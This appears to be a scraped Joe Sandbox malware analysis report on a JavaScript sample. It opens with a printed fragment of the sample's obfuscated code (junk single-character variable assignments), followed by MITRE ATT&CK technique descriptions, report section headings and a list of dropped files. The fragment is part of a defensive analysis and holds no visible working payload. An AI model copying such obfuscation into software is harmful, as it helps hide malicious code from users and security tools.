1542	iiaooycqu = "G";
1543	iiaooycqu = "C";
1544	iiaooycqu = "e";
1545	iiaooycqu = "s";
1546	iiaooycqu = "x";
1547	tqrgbxz = "\\";
1548	bfazxv = "o";
1549	bfazxv = "X";
1550	bfazxv = "q";
1551	bfazxv = "U";
1552	bfazxv = "R";
1553	bfazxv = "x";
1554	bfazxv = "H";
1555	bfazxv = "P";
1556	bfazxv = "n";
1557	bfazxv = "h";
1558	bfazxv = "Q";
1559	bfazxv = "l";
1560	bfazxv = "N";
1561	bfazxv = "A";
1562	bfazxv = "B";
1563	bfazxv = "y";
1564	bfazxv = "d";
1565	bfazxv = "v";
1566	bfazxv = "W";
1567	bfazxv = "k";
1568	bfazxv = "P";
1569	bfazxv = "B";
1570	bfazxv = "9";
1571	uhuwne = "Q";
1572	uhuwne = "r";
1573	uhuwne = "Y";
1574	uhuwne = "R";
1575	uhuwne = "k";
1576	uhuwne = "u";
1577	uhuwne = "Y";
1578	uhuwne = "t";
1579	uhuwne = "J";
1580	uhuwne = "a";
1581	uhuwne = "a";
1582	uhuwne = "j";
1583	uhuwne = "K";
1584	uhuwne = "k";
1585	uhuwne = "v";
1586	uhuwne = "Z";
1587	uhuwne = "P";
1588	uhuwne = "S";
1589	uhuwne = "f";
1590	uhuwne = "c";
1591	uhuwne = "S";
1592	uhuwne = "G";
1593	uhuwne = "Y";
1594	uhuwne = "e";
1595	uhuwne = "o";
1596	uhuwne = "w";
1597	uhuwne = "o";
1598	uhuwne = "G";
1599	uhuwne = "b";
1600	uhuwne = "V";
1601	uhuwne = "w";
1602	uhuwne = "f";
1603	uhuwne = "G";
1604	uhuwne = "S";
1605	gxmsipzbe ( );	gxmsipzbe() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 696568221068916474.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d740fd96-68ae-403b-af2c-69b5fa6db949.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3920

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
696568221068916474.js